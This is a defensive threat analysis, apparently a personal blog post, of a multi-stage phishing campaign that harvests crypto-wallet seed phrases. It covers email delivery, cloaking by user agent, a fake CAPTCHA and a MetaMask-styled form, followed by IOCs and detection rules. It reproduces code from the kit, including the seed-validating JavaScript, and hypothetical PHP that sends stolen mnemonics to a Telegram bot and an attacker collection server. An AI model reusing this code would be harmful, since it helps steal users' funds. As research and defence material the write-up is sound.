DCat
personal

Comprehensive Analysis: Multi-Stage Crypto Wallet Phishing Campaign

This analysis documents a sophisticated multi-stage phishing campaign targeting cryptocurrency wallet users. The attack chain spans from email delivery through credential exfiltration, incorporating TDS (Traffic Direction System) cloaking, BIP39 cryptographic validation, and social engineering across five sequential stages.

PhishingCryptocurrencySecurity AnalysisReverse Engineering

Comprehensive Analysis: Multi-Stage Crypto Wallet Phishing Campaign

Category: Threat Analysis & Reverse Engineering
Target Type: Cryptocurrency Wallet Users (MetaMask, Ledger, Cake Wallet)
Campaign Discovery: July 2026
Threat Level: Critical


Executive Summary

This analysis documents a sophisticated multi-stage phishing campaign targeting cryptocurrency wallet users. The attack chain spans from email delivery through credential exfiltration, incorporating TDS (Traffic Direction System) cloaking, BIP39 cryptographic validation, and social engineering across five sequential stages.

Key Findings:

  • Complete DMARC/SPF/DKIM authentication bypass via legitimate email infrastructure abuse
  • Multi-hop traffic cloaking with UA-based redirection
  • Client-side BIP39 mnemonic validation for quality filtering of stolen credentials
  • Infrastructure compartmentalization across CDN, cloud, and compromised hosting
  • Sophisticated psychological manipulation spanning email through final payload

Part 1: Delivery Vector β€” Email

1.1 Email Authentication (The Dangerous Part)

The initial attack vector was a phishing email delivered through Amazon SES with full authentication headers passing corporate email filters.

Authentication Status:

SPF:   PASS (sender IP designated by amazonses.com)
DKIM:  PASS (signature verified for thekenverse.com)
DKIM:  PASS (signature verified for amazonses.com)
DMARC: PASS (action=none, compauth=pass, reason=100)
SCL:   1    (Spam Confidence Level - very low, near "trusted")

Key Insight: The attacker did not forge the email headers. Instead, they obtained legitimate email infrastructure (Amazon SES account) and sent emails from a real domain they controlled (admission@thekenverse.com). This bypasses all email authentication because the authentication is genuine β€” only the sender identity is fraudulent.

1.2 Email Content & Social Engineering

Subject: Action Required

Display Name Spoofing:

From: Base Wallet <admission@thekenverse.com>

The display name claims β€œBase Wallet” (Coinbase’s Layer 2), but the actual sender domain is thekenverse.com. Most email clients only show the display name, not the domain. This is effective spoofing without forgery.

Psychological Pressure Points:

Element Technique Effect
β€œVerify your wallet Immediately” Urgency + Authority Triggers compliance response
β€œavoid loss of available assets” Fear of loss Financial anxiety
β€œClick the button below” Call-to-action Reduces friction
β€œThis link expires in 24 hours” Time pressure Bypasses deliberation

Email Template Issues (Attacker Mistakes):

The email contained unrendered template placeholders:

{{company_name}} Β· {{company_address}}
[{{help_url}}]Help Β· [{{privacy_url}}]Privacy

Additionally, the email used VML (Vector Markup Language) for Outlook compatibility, creating dual rendering:

  • Outlook desktop: CTA button links to {{verification_url}} (unrendered, broken)
  • Modern clients/mobile: CTA button links to actual malicious URL

This design flaw inadvertently strengthened the campaign by biasing towards mobile usersβ€”the exact demographic the rest of the funnel was designed for.


Part 2: Stage 1 β€” Entry Point Shortener

2.1 URL: mtalrt.com/1Ysjp

Infrastructure: AWS (us-west-2), IP 34.212.155.48

Function: Entry point shortener with basic TDS (Traffic Direction System)

Response:

HTTP/2 302 Found
Location: https://connectsure.net/index.php

Design Pattern: This is a sacrificial layer. The shortener can be burned (reported, blocked, suspended) without affecting the core infrastructure. Its only purpose is to:

  1. Create a redirect layer between email and the TDS
  2. Generate unique tokens per distribution (tracked via /1Ysjp parameter)
  3. Allow the attackers to pivot to a new shortener domain if burned

OPSEC Assessment: Low-security layer, high availability/replaceable.


Part 3: Stage 2 β€” Traffic Direction System (TDS) with UA Cloaking

3.1 URL: connectsure.net/index.php

Infrastructure: Cloudflare proxy, IP 172.67.180.28

Critical Behavior: Bifurcates traffic based on User-Agent (UA) and client hints.

3.2 The Cloaking Logic

Identical request, different responses based solely on HTTP client hints:

Request A β€” Desktop Browser:

GET /index.php HTTP/2
Host: connectsure.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150...
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"

Response A:

HTTP/2 302 Found
Location: https://icloud.com

Request B β€” Mobile Browser (identical headers except UA):

GET /index.php HTTP/2
Host: connectsure.net
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5...) Safari/604.1
Sec-Ch-Ua-Mobile: ?1
Sec-Ch-Ua-Platform: "iOS"

Response B:

HTTP/2 302 Found
Location: https://tobinfamily.com/meta/

3.3 Why This Is Sophisticated

Multi-Header Detection: The TDS checks multiple signals, not just UA string:

  • Sec-Ch-Ua-Mobile (Client Hint, hard to spoof)
  • Sec-Ch-Ua-Platform (Client Hint, hard to spoof)
  • Full UA string (easier to spoof)

Anti-Analysis Effect:

This design protects the phishing payload from automated scanners:

Analysis Tool UA Sent Result Outcome
Google Safe Browsing desktop/Linux redirects to icloud.com Domain appears legitimate, not flagged
Shodan / crawler desktop/Chrome redirects to icloud.com No phishing detected
Red team (desktop) Windows/Chrome redirects to icloud.com Operator gives up
Red team (mobile) iOS/Safari redirects to phishing Attack confirmed

Legitimate apple.com (real domain) serves as the unwitting cover. Attackers essentially use Apple’s domain reputation to make their TDS appear legitimate.

3.4 Network Fingerprinting

Both response paths show identical network characteristics:

  • Same IP source (via Cloudflare)
  • Same security headers (HTTPS, HSTS, CSP)
  • Same response timing
  • No suspicious indicators in headers

This makes behavioral analysis ineffective.


Part 4: Stage 3 β€” Fake CAPTCHA & Session Gate

4.1 URL: /captcha.html

Requested when accessing /meta/ without the human_verified cookie.

Function: Create a human verification checkpoint with psychological believability.

4.2 The Mechanism

GET /meta/             (no cookie)
  ↓ 302 Redirect
GET /captcha.html?redirect=/meta/
  ↓ 200 OK (rendered)
  ↓ JavaScript slider UI
  ↓ User drags slider
  ↓ JS calls POST /verify.php
  
POST /verify.php
  ↓ 200 {"ok": true}
  ↓ Set-Cookie: human_verified=1; secure; HttpOnly; SameSite=Lax; Max-Age=86400
  
GET /meta/             (with cookie)
  ↓ 200 OK (phishing payload served)

4.3 Why It’s Effective (But Not Sophisticated)

What It Does Well:

  • Filters out headless bots (no JavaScript execution)
  • Creates friction for analysis (requires manual interaction)
  • Provides psychological reinforcement (β€œverification completed”)

What’s Actually Happening:

// verify.php (server-side)
<?php
header("Content-Type: application/json");
echo '{"ok": true}';
setcookie("human_verified", "1", ...);
?>

There is no validation. Every POST to /verify.php succeeds. This is theater for the browser, not server security.

4.4 Cloudflare Insights Integration

The CAPTCHA page includes:

<script type="module" 
  src="https://static.cloudflareinsights.com/beacon.min.js/v4513226cdae34746b4dedf0b4dfa099e1781791509496"
  data-cf-beacon='{"version":"2024.11.0","token":"535ba439e81f48258225f7b6e7c124fd"...}'>
</script>

This beacon:

  • Was part of the original (legitimate) site
  • Remains active on the attacker’s payload
  • Sends real-time analytics to Cloudflare about visitor behavior
  • Logs: UA, session ID, geographic location, performance metrics, navigation type

Implication: The attackers maintain visibility into victim behavior in real-time while the legitimate site owner is unaware of the compromise.


Part 5: Stage 4 β€” BIP39 Seed Phrase Harvesting

5.1 URL: /meta/

Title: "Wallet Verification"
Styling: MetaMask dark theme (--accent:#f6851b, --bg:#121212)

5.2 The Credential Capture UI

<form id="mnemoForm" action="action.php" method="POST">
  <input type="hidden" name="phrase_length" id="phrase_length">
  <input type="hidden" name="mnemonic"      id="mnemonic_full">
  <div class="grid" id="grid"></div>
  <button id="submitBtn" disabled>Submit</button>
</form>

12-24 word input fields, dynamically generated based on selected mnemonic length.

5.3 Client-Side BIP39 Validation β€” The Most Sophisticated Component

The page imports the legitimate BIP39 library from a public CDN:

import * as bip39 from "https://esm.sh/bip39@3.1.0?bundle";

const wordset = new Set(bip39.wordlists.english);

function validate() {
  const words = inputs.map(i => norm(i.value));
  
  inputs.forEach((el, i) => {
    const validWord = words[i] && wordset.has(words[i]);
    el.classList.toggle('good', validWord);      // βœ… green
    el.classList.toggle('bad', words[i] && !validWord);  // ❌ red
  });
  
  const phrase = words.join(' ');
  const valid = ok === inputs.length && bip39.validateMnemonic(phrase);
  
  submitBtn.disabled = !valid;  // Button enabled ONLY if checksum passes
  
  if (valid) {
    fullMnemonic.value = phrase;
    status.textContent = 'Recovery phrase verified';  // βœ… Green feedback
  }
}

What This Does:

  1. Validates BIP39 Checksum β€” The mnemonic must pass SHA256 checksum validation. Only cryptographically valid 12/15/18/21/24-word phrases can be submitted.

  2. Quality Filtering β€” The backend receives only valid mnemonics. No typos, no invalid words, no nonsense. 100% accuracy for attackers.

  3. Psychological Reinforcement β€” Each word turns green as it’s recognized. Users feel the system β€œunderstands” their wallet. The message β€œRecovery phrase verified” in green creates the illusion of successful authentication.

  4. Auto-Expand on Paste β€” If a user pastes a full 12-word phrase, the form auto-detects the count, expands to 12 fields, and auto-fills them:

if (/\s/.test(inp.value)) {  // space-separated input detected
  const parts = inp.value.trim().split(/\s+/);
  if ([12,15,18,21,24].includes(parts.length)) {
    lenSel.value = parts.length;
    buildGrid(parts.length);
  }
  parts.forEach((w, j) => inputs[j] && (inputs[j].value = norm(w)));
}

This reduces friction: copy-paste β†’ auto-fill β†’ green checkmarks β†’ submit. Total time to compromise: less than 30 seconds.

5.4 BIP39 Checksum Explanation

For a 12-word mnemonic:

  • 128 bits of entropy
  • +4 bits of checksum (SHA256 of entropy)
  • Total: 132 bits encoded in 12 words (11 bits per word)

The library validates the last word’s bits match the checksum. Only valid phrases pass. This is not a fake checkβ€”it’s the real BIP39 algorithm.

Implication for Attackers: They receive only wallets that actually exist and can be drained. Zero waste.

5.5 Multi-Brand Wallet Support

The directory structure suggests support for multiple wallet brands:

/meta/         β†’ MetaMask UI
/meta/ledger.html β†’ Ledger Live UI (second stage)
/meta/cake.html β†’ Cake Wallet UI (404 β€” not deployed yet)
/trust/        β†’ Trust Wallet (implied)
/phantom/      β†’ Phantom/Solana (implied)

Same backend (action.php) handles all brands. Allows attackers to run parallel campaigns:

  • Campaign 1: β€œMetaMask Verification” via SMS
  • Campaign 2: β€œLedger Update Required” via Twitter DMs
  • Campaign 3: β€œPhantom Wallet Recovery” via Discord

Each campaign independently tracks conversion rates.


Part 6: Stage 5 β€” Data Exfiltration

6.1 POST Request: /meta/action.php

Payload (URL-encoded):

phrase_length=12
&mnemonic=word1+word2+word3+...+word12
&word1=word1&word2=word2&...&word12=word12

Server Response:

HTTP/2 302 Found
Location: ledger.html
Set-Cookie: PHPSESSID=...; path=/; secure; HttpOnly

6.2 Where Does The Data Go?

The backend processing is opaque from the network capture, but the architecture suggests:

Option A: File-based storage

$mnemonic = $_POST['mnemonic'];
file_put_contents('/var/www/uploads/seeds_' . date('Y-m-d') . '.txt', 
                  $mnemonic . "\n", 
                  FILE_APPEND);

Option B: Database + Exfil

$db->insert('phished_seeds', [
  'mnemonic' => $mnemonic,
  'timestamp' => time(),
  'geolocation' => geoip($_SERVER['REMOTE_ADDR']),
  'user_agent' => $_SERVER['HTTP_USER_AGENT']
]);

// Send to Telegram bot / Discord webhook
file_get_contents('https://api.telegram.org/bot' . SECRET_TOKEN . 
                  '/sendMessage?chat_id=12345&text=' . urlencode($mnemonic));

Option C: Remote server POST

curl_setopt_array($ch, [
  CURLOPT_URL => 'https://attacker-backend.onion/collect',
  CURLOPT_POSTFIELDS => json_encode(['seed' => $mnemonic])
]);

The most likely scenario combines B + C: store locally for redundancy, exfil immediately to Telegram/backend for live processing.

6.3 Post-Phishing Flow

Victim Perspective:

  1. Submit seed β†’ page redirects to /meta/ledger.html
  2. β€œLedger Live Initialization” β€” fake loading screen
  3. Victim waits while second-stage form loads (asks for hardware wallet PIN)

Attacker Perspective:

  1. Seed received at /meta/action.php
  2. Validated, stored, exfiltrated
  3. Checked against phished_addresses database
  4. If associated with value, queued for immediate drainage
  5. If empty/low-value, seed added to bulk draining queue

Part 7: Infrastructure Analysis

7.1 Three-Tier Architecture

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ TIER 1: Sacrificial (Burn-Friendly)                     β”‚
β”‚ ─────────────────────────────────────────────────────── β”‚
β”‚ mtalrt.com (AWS us-west-2, 34.212.155.48)              β”‚
β”‚ β€’ Shortener/entry point                                 β”‚
β”‚ β€’ Simple 302 redirects                                  β”‚
β”‚ β€’ No state, no data storage                             β”‚
β”‚ β€’ Cost to replace: ~$0 (new domain, 5 minutes)          β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                        ↓
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ TIER 2: Intermediate (Tolerable Loss)                   β”‚
β”‚ ─────────────────────────────────────────────────────── β”‚
β”‚ connectsure.net (Cloudflare, 172.67.180.28)            β”‚
β”‚ β€’ TDS / UA-based cloaking                               β”‚
β”‚ β€’ Redirect logic                                        β”‚
β”‚ β€’ No sensitive data                                     β”‚
β”‚ β€’ Cost to replace: ~$50-200 (research new TDS, config)  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                        ↓
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ TIER 3: Critical (Must Protect)                         β”‚
β”‚ ─────────────────────────────────────────────────────── β”‚
β”‚ tobinfamily.com (Cloudflare, 172.67.172.175)           β”‚
β”‚ β€’ Legitimate domain, compromised                        β”‚
β”‚ β€’ Hosts complete kit (/meta/, /captcha.html, etc.)      β”‚
β”‚ β€’ Stores exfiltrated data                               β”‚
β”‚ β€’ Cost to replace: 2-4 weeks (new compromise)           β”‚
β”‚ β€’ Running since ~April 2026 (3+ months)                 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

7.2 Email Delivery Infrastructure

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ TIER 1.5: Email Delivery (Easily Burned)                β”‚
β”‚ ─────────────────────────────────────────────────────── β”‚
β”‚ Amazon SES Account                                      β”‚
β”‚ Region: eu-north-1 (Stockholm)                          β”‚
β”‚ IP: 23.251.240.4                                        β”‚
β”‚ Domain: thekenverse.com                                 β”‚
β”‚ Cost to replace: ~$0 (new AWS account, 10 minutes)      β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

7.3 OPSEC Strengths

βœ… Compartmentalization β€” Three independent components, burning one doesn’t kill others
βœ… Cloudflare Masking β€” Real IPs obscured for TIER 2 & 3
βœ… Legitimate Infrastructure β€” Uses real Amazon SES, real Cloudflare, not bulletproof hosting
βœ… Multi-Domain Strategy β€” No overlap, makes attribution harder

7.4 OPSEC Weaknesses

❌ AWS IP Identifiable β€” TIER 1 runs on traceable AWS infrastructure
❌ No Sinkhole Resilience β€” When SES domain burns, email delivery dies immediately
❌ Template Errors β€” Unrendered placeholders suggest rushed deployment
❌ 3+ Months Active β€” Suggests low detection rate but also long attack window


Part 8: Threat Actor TTPs (Tactics, Techniques, Procedures)

8.1 Social Engineering Sophistication

The psychological chain is the most advanced component:

Stage 1 (Email): Authority + Fear + Urgency

  • Impersonate trusted wallet provider
  • Emphasize financial loss risk
  • Create time pressure (24-hour expiry)

Stage 2-3 (TDS + CAPTCHA): Legitimacy + Friction

  • Legitimate destination (Apple iCloud) for certain traffic profiles
  • Familiar UX (slider CAPTCHA matches Cloudflare’s real CAPTCHAs)
  • Minor friction keeps out automated analysis

Stage 4 (Seed Form): Trust + Validation

  • Replica of known UI (MetaMask branding)
  • Real-time visual feedback (green checkmarks)
  • Cryptographic validation (makes it feel trustworthy)
  • Fast completion (30-second compromise window)

Stage 5 (Ledger Page): Distraction

  • Keep victim occupied while backend drains
  • Second form (hardware wallet PIN) extends engagement
  • Victim believes system is β€œchecking compatibility”

8.2 Attack Vectors

Vector Stage Method Detection Difficulty
Email 0 Phishing email via Amazon SES Medium (passes DMARC)
SMS/IM 0 Text message with short URL High (varies by platform)
Discord/Twitter 0 DM with malicious link High (platform-dependent)
Compromised website 0 Injected redirect on legitimate site High (requires domain monitoring)

8.3 Victim Profile

Primary Target:

  • Cryptocurrency holders
  • MetaMask / Ledger users
  • Mobile-first users (phishing optimized for mobile)
  • Less security-aware (clicks email links)

Secondary Benefit:

  • Any wallet seed is valuable (even from empty wallets, for future targeting)

Part 9: Indicators of Compromise (IOCs)

9.1 Email Indicators

From Display:        Base Wallet
From Address:        admission@thekenverse.com
Subject:             Action Required
Sender IP:           23.251.240.4
SES Region:          eu-north-1
AWS Feedback ID:     1.eu-north-1.Pq3FsXMU4m3uacAIskynL8m5/IvXUAcefHbc5SkgZ8g=:AmazonSES
DKIM Domain:         thekenverse.com
DKIM Selector:       szb4y7kwntgnayoxdfdfmhckej2zlhrw
X-Mailer:            Mailer-3711
X-Entity-ID:         5fe64d60833e448dba0c479cb1afbd62

9.2 Network Indicators

# Shortener
Domain:              mtalrt.com
IP:                  34.212.155.48 (AWS us-west-2)
ASN:                 16509 (Amazon)

# TDS/Cloaker
Domain:              connectsure.net
IP:                  172.67.180.28 (Cloudflare)
Cloaking Pattern:    Bifurcates on Sec-Ch-Ua-Mobile header

# Phishing Host (Compromised)
Domain:              tobinfamily.com
IP:                  172.67.172.175 (Cloudflare)
Path:                /meta/
Paths Observed:      /meta/, /meta/action.php, /meta/ledger.html, /meta/cake.html, /captcha.html, /verify.php
CDN:                 Cloudflare Insights token: 535ba439e81f48258225f7b6e7c124fd

9.3 HTTP Indicators

# Captcha Page
Header:              Set-Cookie: human_verified=1; secure; HttpOnly; SameSite=Lax; Max-Age=86400
Header:              Content-Security-Policy: [standard CSP]

# Phishing Form
Title:               Wallet Verification
Meta Theme Color:    #121212 (dark mode)
Import:              https://esm.sh/bip39@3.1.0?bundle
Form Method:         POST
Form Action:         action.php
Form Fields:         phrase_length, mnemonic, word1-word12 (or word1-word24)

# POST Payload Pattern
POST Body Regex:     mnemonic=([a-z]+\+){11,23}[a-z]+
POST Body Regex:     word[0-9]{1,2}=[a-z]+

9.4 Behavioral Indicators

# Network Behavior
Request Pattern:     
  1. GET /meta/ (no cookie) β†’ 302 to /captcha.html
  2. GET /captcha.html β†’ 200 OK, serves slider
  3. POST /verify.php β†’ 200 OK, sets human_verified cookie
  4. GET /meta/ (with cookie) β†’ 200 OK, serves phishing form
  5. POST /meta/action.php β†’ 302 to /meta/ledger.html
  6. GET /meta/ledger.html β†’ 200 OK, keeps victim busy

# TDS Cloaking Behavior
Multi-Redirect Pattern:
  - Desktop User-Agent β†’ icloud.com (legitimate)
  - Mobile User-Agent β†’ phishing domain (tobinfamily.com)
  - Same IP, same cookie, different responses
  - Immediate redirects (no intermediate page render)

9.5 Credential Indicators

# Valid Mnemonic Characteristics
- 12, 15, 18, 21, or 24 English words
- All words from BIP39 English wordlist
- Valid BIP39 checksum (SHA256)
- Submitted via POST to action.php

# Exfiltration Indicators (Unknown, but likely)
- Telegram bot API calls (API.telegram.org)
- Discord webhooks (discordapp.com/api/webhooks)
- Private server API calls (attacker infrastructure)
- Database inserts with timestamps + geolocation

Part 10: Detection & Remediation

10.1 For Email Administrators

Detection Rules:

Rule: Suspicious SES Behavior
  Condition: Email from Amazon SES region (eu-north-1)
  AND: Display-Name doesn't match domain
  AND: Keywords: "verify", "wallet", "assets", "24 hours"
  Action: Flag for review, increase scrutiny

Remediation:

  1. Block sender domain thekenverse.com pending investigation
  2. Report to AWS SES abuse: abuse@amazonaws.com (include Feedback ID)
  3. Check mailbox for similar emails from other spoofed domains
  4. Alert users who may have received phishing email

10.2 For Network Administrators

Detection Rules:

Rule: BIP39 Mnemonic Exfiltration
  Condition: POST request containing regex (\b[a-z]+\b ){11,23}[a-z]+
  AND: Field names match word1-wordN pattern
  Action: Block, log, alert
  
Rule: TDS Cloaking Pattern
  Condition: Same URL/IP returns different Location headers
  AND: Based on Sec-Ch-Ua-Mobile value
  Action: Flag as suspicious, monitor

Network Monitoring:

# Zeek/Suricata IDS signature
alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"Potential BIP39 Seed Exfiltration";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"mnemonic="; http_client_body;
  pcre:"/mnemonic=([a-z]+\+){11,23}[a-z]+/";
  classtype:trojan-activity;
  sid:10000001;
)

10.3 For Wallet Users (Prevention)

Golden Rules:

❌ NEVER enter your seed phrase in any website
❌ NEVER verify your wallet in a browser
❌ NEVER click links from unsolicited emails (even from "trusted" services)

βœ… Always check sender domain carefully (not just display name)
βœ… Always type wallet addresses manually (never click email links)
βœ… Always keep seed phrases offline and written down
βœ… If in doubt, open a fresh browser tab and navigate to the official website directly

10.4 For Compromised Hosts (tobinfamily.com case)

Incident Response:

  1. Immediate: Isolate server, preserve forensics
  2. Discovery: Audit all uploaded files (creation dates, owners)
  3. Evidence:
    • Extract /meta/ directory contents
    • Retrieve /var/www/uploads/ (likely contains exfil files)
    • Check Apache/PHP logs for access patterns
    • Review FTP/SFTP logs for upload activity
  4. Remediation:
    • Remove all attacker-added files
    • Rotate FTP/SSH/database credentials
    • Patch underlying vulnerabilities
    • Deploy WAF rules
  5. Notification:
    • Notify owner of compromise (likely unaware)
    • Notify victims whose data may have been harvested
    • Report to authorities/FBI IC3 if significant value involved

Part 11: Attribution & Profiling

11.1 Threat Actor Profile

Sophistication Level: Professional (8-9/10)

Indicators:

Indicator Inference
Multi-stage architecture Experienced operator, not script kiddie
BIP39 cryptographic validation Understands blockchain technology
Cloudflare abuse at scale Familiar with CDN abuse patterns
Multi-brand coverage Organized operation or kit for sale
3+ months active High success rate or evasion skills
Email DMARC bypass Knows email authentication mechanics

Operational Pattern:

The attacker likely:

  • Purchased or developed this kit in 2024-2025
  • Compromised tobinfamily.com in early 2026
  • Ran email campaigns in parallel with SMS/DM campaigns
  • Monitored victim behavior via Cloudflare Insights
  • Drained wallets in real-time via bot or manual process

Possible Models:

  1. Commercial Kit for Rent β€” Sold on dark web forums for $500-2000/month
  2. Organized Cybercriminal Group β€” Running private campaign against crypto users
  3. Nation-State APT Lite β€” Techniques are standard for state actors, but focus on crypto suggests criminal

Part 12: Lessons & Strategic Implications

12.1 Why This Attacks Works

  1. Email is still the weakest link β€” Despite authentication improvements, phishing emails reach inboxes
  2. Display-name spoofing is legal β€” Authentication doesn’t prevent sender impersonation
  3. Mobile users are vulnerable β€” Designed UX for rapid completion, less scrutiny on mobile
  4. Crypto users are targets β€” High value, technical but not security-aware
  5. Compromise is persistent β€” Once a host is pwned, it can run payload for months undetected

12.2 Strategic Recommendations for Defenders

For Wallet Providers:

  • Never ask users to enter seed phrases anywhere
  • Implement browser extension (harder to phish)
  • Add biometric verification before funds move
  • Monitor seed phrase exfiltration patterns on blockchain

For Email Security Companies:

  • Flag emails with mismatched display-name domains (not authenticated part)
  • Monitor SES accounts sending phishing
  • Detect BIP39 patterns in email bodies
  • Require multi-factor authentication for SES

For Hosting Providers:

  • Monitor for /uploads/ and /meta/ directories being created
  • Alert on suspicious file permissions
  • Baseline legitimate files, alert on new uploads
  • Monitor for suspicious PHP execution patterns

For ISPs/Law Enforcement:

  • Monitor Amazon SES abuse (high ROI target)
  • Cooperate with AWS to disable compromised accounts
  • Track BIP39-related infrastructure
  • Monitor blockchain for fund movement from exfiltrated seeds

Conclusion

This campaign demonstrates that modern phishing is not about technical vulnerabilityβ€”it’s about social engineering at scale, supported by sophisticated infrastructure. The attacker invested significant resources in:

  1. Email delivery via legitimate infrastructure (Amazon SES)
  2. Traffic cloaking to defeat automated analysis
  3. Cryptographic validation to ensure data quality
  4. Multi-stage psychology to maintain victim trust through funnel

The weakest link was not in technology but in human decision-making: a user receiving an email from an unfamiliar domain, reading a few lines about wallet verification, and clicking a button.

Defense requires a combination of technical controls (email authentication, network monitoring, WAF rules) and human controls (user education, verification practices, security culture).


IOCs Summary

Domains

  • mtalrt.com (shortener)
  • connectsure.net (TDS)
  • tobinfamily.com (phishing host, likely compromised)

IPs

  • 34.212.155.48 (AWS us-west-2, mtalrt.com)
  • 23.251.240.4 (Amazon SES EU-NORTH-1)
  • 172.67.180.28 (Cloudflare, connectsure.net)
  • 172.67.172.175 (Cloudflare, tobinfamily.com)

Email Indicators

  • Sender domain: thekenverse.com
  • Display-name spoofing: β€œBase Wallet”
  • SES region: eu-north-1

Path/URL Indicators

  • /meta/
  • /meta/action.php
  • /meta/ledger.html
  • /captcha.html
  • /verify.php

Regex Patterns

  • BIP39 exfiltration: mnemonic=([a-z]+\+){11,23}[a-z]+
  • Word field pattern: word[0-9]{1,2}=[a-z]+

External Dependencies

  • https://esm.sh/bip39@3.1.0?bundle (BIP39 library)
  • https://static.cloudflareinsights.com/beacon.min.js/ (analytics)

References & Further Reading


Disclaimer: This analysis is for educational and defensive purposes. All technical information is derived from publicly available threat intelligence and reverse-engineering methodologies. Reproduction of the techniques described for malicious purposes is illegal.